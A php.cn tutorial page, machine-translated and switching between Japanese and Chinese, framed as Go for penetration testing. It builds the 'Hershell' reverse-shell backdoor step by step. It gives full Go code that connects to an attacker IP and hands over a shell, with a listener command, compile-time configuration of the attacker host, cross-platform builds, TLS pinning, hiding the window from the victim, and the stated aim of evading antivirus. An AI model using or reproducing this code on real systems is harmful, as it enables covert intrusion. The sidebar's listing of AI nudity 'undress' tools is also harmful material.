検索
ホームページバックエンド開発GolangGo言語は侵入テストに使用できますか?

Go言語は侵入テストに使用できますか?

Jan 03, 2023 pm 05:30 PM
golang言語を移動

Go 言語は侵入テストに使用できます。 Go を使用すると、外部依存関係を必要とせずにクロスコンパイルを非常に簡単に実行できます。標準ライブラリのおかげで、Go バイナリには、ターゲット アーキテクチャで実行するために必要なコードがすべて含まれているため、Go 言語を使用すると、同じソース コードから複数のプラットフォーム用のバイナリを簡単に構築できるようになります。

Go言語は侵入テストに使用できますか?

このチュートリアルの動作環境: Windows 7 システム、GO バージョン 1.18、Dell G3 コンピューター。

ペネトレーション テストとは

ペネトレーション テストは、セキュリティをテストするために設計されたコンピュータ システムに対する許可された模擬攻撃です。評価の実施により、次のようなメカニズムが提供されます。ネットワーク防御が計画どおりに機能していることを実証します。あなたの会社では、セキュリティ ポリシーと手順を定期的に更新し、システムに随時パッチを適用し、脆弱性スキャナーなどのツールを使用してすべてのパッチが確実に適用されていると仮定します。

Go 言語は侵入テストに使用できます

以下は例を使って紹介します: リバウンド バックドア Hershell の作成

侵入テスト プロセス中に不可欠なツールは、有名で非常に優れた Metasploit フレームワークです。

この環境には、多数のペイロード、エンコーダー、その他のツールが含まれています。 Meterpreter はこれらのペイロードの中でも重要です。これは、開発された、悪用後のコマンドを備えたシェルの修正バージョンです。強力な攻撃特性により、このシェルはおそらく最も一般的に使用されます。

Meterpreter の問題

残念ながら、Meterpreter の人気には欠点があります。それは、ほとんどのウイルス対策およびシグネチャベースのソリューションが Meterpreter を検出できるということです。通常、侵入テスト中に、Meterpreter ペイロードを含むバイナリが検出され、隔離のために送信されます。

もう 1 つの問題は、特定のターゲット アーキテクチャ (BSD など) がサポートされていないため、独自のバックドアを開発する必要があることです。

上記の問題により、Hershell を作成するようになりました。このプロジェクトの目標は、クロスプラットフォームでウイルス対策ソフトウェアによって検出できない、単一のソース コードに基づくリバース シェル ペイロードを提供することです。

Google が開発したコンパイル言語である Go 言語を使用して開発を行っています。

GO 言語を使用する理由

現在、Python はおそらく、スクリプトを作成したり、特にセキュリティ分野でアプリケーションを完成させるための最も人気のある言語です。では、なぜ新しい言語を学習する必要があるのでしょうか?

Go には、Python や他の言語に比べて 1 つの利点があります。それは、外部依存関係なしでクロスコンパイルを実行するのが非常に簡単であることです。標準ライブラリのおかげで、Go バイナリには、ターゲット アーキテクチャで実行するために必要なコードがすべて含まれています。したがって、Go 言語を使用すると、同じソース コードから複数のプラットフォーム用のバイナリを簡単に構築できるようになります。

#目標

このコードを構築するときは、次の目標を達成したいと考えています:

payload类型是reverse shell;
得到一个跨多个平台(Windows、Linux、MacOS、ARM)和硬件架构的payload;
容易配置;
加密通信;
绕过大多数反病毒检测引擎。

環境の準備

Go パッケージをお気に入りのディストリビューションからインストールするか、公式 Web サイトからダウンロードします。

インストールが完了したら、環境を構成する必要があります。ソース、ライブラリ、ビルド バイナリのルートとなる dev ディレクトリを作成します:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
このディレクトリは次の計画に従います:

bin包含编译后的二进制文件和其他可执行文件;
pkg包含Go下载包的对象文件;
src包含你的应用程序和下载包的源目录。

初めてのリバース シェル

まず、Go 言語を使用して簡単な TCP リバース シェルを作成します。

ここでは、コードを 1 行ずつコメントするのではなく、完全にコメントされたバージョンを示します。

// filename: tcp.go
package main
import (
    "net"       // requirement to establish a connection
    "os"        // requirement to call os.Exit()
    "os/exec"   // requirement to execute commands against the target system
)
func main() {
    // Connecting back to the attacker
    // If it fails, we exit the program
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Creating a /bin/sh process
    cmd := exec.Command("/bin/sh")
    // Connecting stdin and stdout
    // to the opened connection
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Run the process
    cmd.Run()
}
まず、net.Dial を使用してリモート サーバーへの接続を確立します。 Go 標準ライブラリの net パッケージは、TCP または UDP に基づくネットワーク通信の抽象化レイヤーです。

パッケージの使用方法について詳しくは、ドキュメント (go doc) を参照してください。

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...
スクリプトに戻りましょう。

接続が確立されると (失敗した場合はプログラムが停止します)、exec.Command 関数を使用してプロセス (exec.Cmd 型のオブジェクト) を作成します。すべての入力と出力 (stdout、stdin、および stderr) が接続にリダイレクトされ、プロセスが開始されます。

これで、ファイルをコンパイルできます:

$ go build tcp.go
$ ./tcp
次に、リスナーを有効にする必要があります:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

如预期的那样,我们得到了reverse shell。 

到目前为止我们大多数的目标尚未实现。

配置

我们现在有一些reverse shell基本代码。但是在每次编译之后我们必须修改,以便定义攻击者的监听端口和IP地址。

这种操作虽然不是很便利。但这里可以引入一个简单的小技巧:在连接时(在编译之前)进行变量定义。 

事实上,在构建过程中,可以定义一些变量的值(使用go build命令)。 

这是使用前面代码的一个简短的例子:

// filename: tcp.go
package main
import (
    "net"
    "os" 
    "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

我们只添加下面一行代码,进行一个安全测试以检查它是否包含一个值:

var connectString string

其代码编译如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

当我们构建二进制文件时,攻击者的IP地址和端口可以被动态定义。 

注意,可以以package.nomVariable的模式访问这些变量,并且这些变量只能是string类型。

为了简化编译,我们可以创建一个Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
    rm -f ${OUTPUT}

本文的其余部分,我们将使用LHOST和LPORT环境变量来定义设置:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

跨平台

既然可以很容易地配置 payload,也可以跨平台使用它。

如前所述,payload的强项之一是从同一个代码库使用Go语言为各种架构和平台进行构建。

准确地说, runtime提供了GOOS和GOARCH变量。 

让我们看看如何使用GOOS:

// filename: tcp_multi.go
package main
import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

很显然,我们添加了一个switch模块来处理GOOS不同的值。因此,我们只是检查几个操作系统的值,并且改变每个目标进程。 

上面的代码可以进一步简化,实际上除了Windows,大多数操作系统上都有/bin/sh:

switch runtime.GOOS {
case "windows":
    // Windows specific branch
    cmd = exec.Command("cmd.exe")
default:
    // any other OS
    cmd = exec.Command("/bin/sh")
}

现在,使用GOARCH处理交叉编译架构非常简单:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

网络加密

现在,让我们看看如何加密网络流量。  

有几种选择:

用一个自制的方法,在应用程序层建立加密
使用一种被广泛使用并且在会话层测试协议的方法,即TLS。

鉴于我们都倾向于简单和安全,我们选择了很容易用Go语言实现的TLS。标准库已经支持一切支持TLS的东西。

在客户端,一个新的&tls.Config类型对象需要配置连接,比如证书锁定(certificate pinning)。

这是新的代码库,进行了轻微的优化和TLS处理:

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)
var connectString string
func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}
func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Creation of the tls.Config object
    // Accepting *any* server certificate
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    defer conn.Close()
    // Starting the shell
    GetShell(conn)
}
func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}

如示例所示,创建一个TLS套接字(socket)非常类似于创建一个简单的TCP socket。不同于tls.Config,tls.Conn对象与net.Conn以相同的方式被使用。

条件编译

如上图所示,可以改变取决于目标操作系统的程序执行。

然而,如果你想使用这段代码,你会注意到一个问题。cmd.exe窗口会出现,并且无法隐藏,从而会提醒受害者。

幸运的是,exec.Cmd对象的SysProcAttr可以改变这种情况,如本文所述:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,关于syscall.SysProcAttr模块文件,我们得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}

然而,在syscall package(包)的源代码中,我们观察到每一个构建都有一个特定的实现。

此外,在Windows的exec子方式中,我们注意到SysProcAttr结构有不同的定义。它有一个HidWindow属性(布尔类型),当启动一个程序时这一属性允许隐藏启动窗口。

该属性也正是我们的后门需要的。

我们可能会被这一实现所吸引:

...
switch runtime.GOOS {
case "windows":
    cmd := exec.Cmd("cmd.exe")
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
    cmd := exec.Cmd("/bin/sh")
}
...

然而,由于HideWindow属性在syscall/exec_linux.go中不存在,因此这种编译在除了Windows之外的任何其他平台可能会失败。

因此,我们需要调整我们的项目的结构,使用条件编译。条件编译指的是一种特性,允许添加源代码文件顶部编译器的命令。例如,如果我们想要编译一个只适用于Windows操作系统的源文件,我们将添加该命令:

// +build windows !linux !darwin !freebsd
import net
...

当GOOS变量设置为darwin、 linux 或者freebsd时,该命令将指示编译器不包括该文件。当然,当值与windows匹配时,编译器将包含该源文件。  

为了在我们的项目中实现该条件编译,我们将遵循这个结构:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go

hershell.go包含程序的核心部分。然后,我们创建一个名为shell的模块,该模块有两个文件:适用于Linux和Unix的shell_default.go文件;以及适用于Windows的shell_windows.go文件。  

证书锁定

使用TLS安全通信是件好事,但只要我们不对服务器进行身份验证,流量仍然可以被“中间人”劫持。  

为了预防这种攻击,我们将验证服务器提供的证书,这就叫做“证书锁定(certificate pinning)”。 

以下函数负责证书锁定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}

这个函数接受一个tls.Conn对象的指针作为参数,并且包含SHA256格式的指纹证书的一个字节数组。在连接过程中,该代码扫描所有tls.Conn中的PeerCertificates,直到发现与提供的相匹配的指纹为止。 

如果碰巧没有证书匹配,函数返回false。

当需要建立与远程服务器的连接时,我们只需要调用该函数;如果提交的证书是无效的则会关闭连接:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }
        defer conn.Close()
        // checking the certificate fingerprint
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}

最初,由于–ldflags,在编译(在Makefile中)过程中可以生成有效的指纹:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...

【相关推荐:Go视频教程编程教学

以上がGo言語は侵入テストに使用できますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
GOで開発する際のセキュリティ上の考慮事項GOで開発する際のセキュリティ上の考慮事項Apr 27, 2025 am 12:18 AM

goooffersbustfeaturesforsecurecoding、butdevelopersmustimplementsecuritybestpracticive.1)usego'scryptageforsecuredathing.2)surncurrencywithranciationwithranizationprimitivestopreventraceconditions.3)sanitexe zeexerinputeterinpuptoravoidsqlinj

Goのエラーインターフェイスを理解しますGoのエラーインターフェイスを理解しますApr 27, 2025 am 12:16 AM

Goのエラーインターフェイスは、TypeErrorInterface {error()String}として定義され、エラー()メソッドを実装する任意のタイプをエラーと見なすことができます。使用の手順は次のとおりです。1。iferr!= nil {log.printf( "anerroroccurred:%v"、err)return}などのエラーを基本的にチェックおよびログエラー。 2。TypeMyErrorStruct {MSGSTRINGDETAILSTRING}などのより多くの情報を提供するカスタムエラータイプを作成します。 3.エラーラッパー(GO1.13以降)を使用して、元のエラーメッセージを失うことなくコンテキストを追加する、

同時GOプログラムでのエラー処理同時GOプログラムでのエラー処理Apr 27, 2025 am 12:13 AM

Effectivitive Handleerrorsinconconconcurentgoprograms、usechannelstocommunicateerrors、Implienterrorwatchers、Sunidertimeouts、usebufferedchannels、およびprovideclearerrormess.1)usechannelstopasserrors fromgoroutineStothemainctunction.2)Anerrorwatcherを実装します

Goにインターフェイスをどのように実装しますか?Goにインターフェイスをどのように実装しますか?Apr 27, 2025 am 12:09 AM

GO言語では、インターフェイスの実装が暗黙的に実行されます。 1)暗黙的な実装:タイプにインターフェイスによって定義されたすべてのメソッドが含まれている限り、インターフェイスは自動的に満たされます。 2)空のインターフェイス:すべてのタイプのインターフェイス{}タイプが実装されており、中程度の使用はタイプの安全性の問題を回避できます。 3)インターフェイス分離:コードの保守性と再利用性を向上させるために、小型ではあるが焦点を絞ったインターフェイスを設計します。 4)テスト:インターフェイスは、依存関係をあざけることでユニットテストに役立ちます。 5)エラー処理:エラーは、インターフェイスを介して均一に処理できます。

GOインターフェイスを他の言語のインターフェイスと比較する(例:Java、C#)GOインターフェイスを他の言語のインターフェイスと比較する(例:Java、C#)Apr 27, 2025 am 12:06 AM

go'sinterfacesAriemplictlictlictlymentedは、Javaandc#とは異なり、whorequireexplicitimplementation.1)ingo、anytypewithedsodsodsautodsodsodsodsodsodsodsodsodsodsodsodsodsimplication antersface、促進性と柔軟性

init機能と副作用:初期化と保守性のバランスinit機能と副作用:初期化と保守性のバランスApr 26, 2025 am 12:23 AM

抑制性を促進するために、抑制可能:1)エフェクスを最小化することを最小化します

ゴーを始めましょう:初心者のガイドゴーを始めましょう:初心者のガイドApr 26, 2025 am 12:21 AM

goisidealforforbeginnersandsutable forcloudnetworkservicesduetoitssimplicity、andconcurrencyfeatures.1)installgofromtheofficialwebsiteandverify with'goversion'.2)

並行性パターン:開発者のベストプラクティス並行性パターン:開発者のベストプラクティスApr 26, 2025 am 12:20 AM

開発者は、次のベストプラクティスに従う必要があります。1。ゴルチンを慎重に管理して、リソースの漏れを防ぎます。 2。同期にチャネルを使用しますが、過剰使用を避けます。 3。同時プログラムのエラーを明示的に処理します。 4. GomaxProcsを理解して、パフォーマンスを最適化します。これらのプラクティスは、リソースの効果的な管理、適切な同期の実装、適切なエラー処理、パフォーマンスの最適化を確保し、それによりソフトウェアの効率と保守性を向上させるため、効率的で堅牢なソフトウェア開発には重要です。

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

Video Face Swap

Video Face Swap

完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

ホットツール

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser は、オンライン試験を安全に受験するための安全なブラウザ環境です。このソフトウェアは、あらゆるコンピュータを安全なワークステーションに変えます。あらゆるユーティリティへのアクセスを制御し、学生が無許可のリソースを使用するのを防ぎます。

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Eclipse を SAP NetWeaver アプリケーション サーバーと統合します。

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

EditPlus 中国語クラック版

EditPlus 中国語クラック版

サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません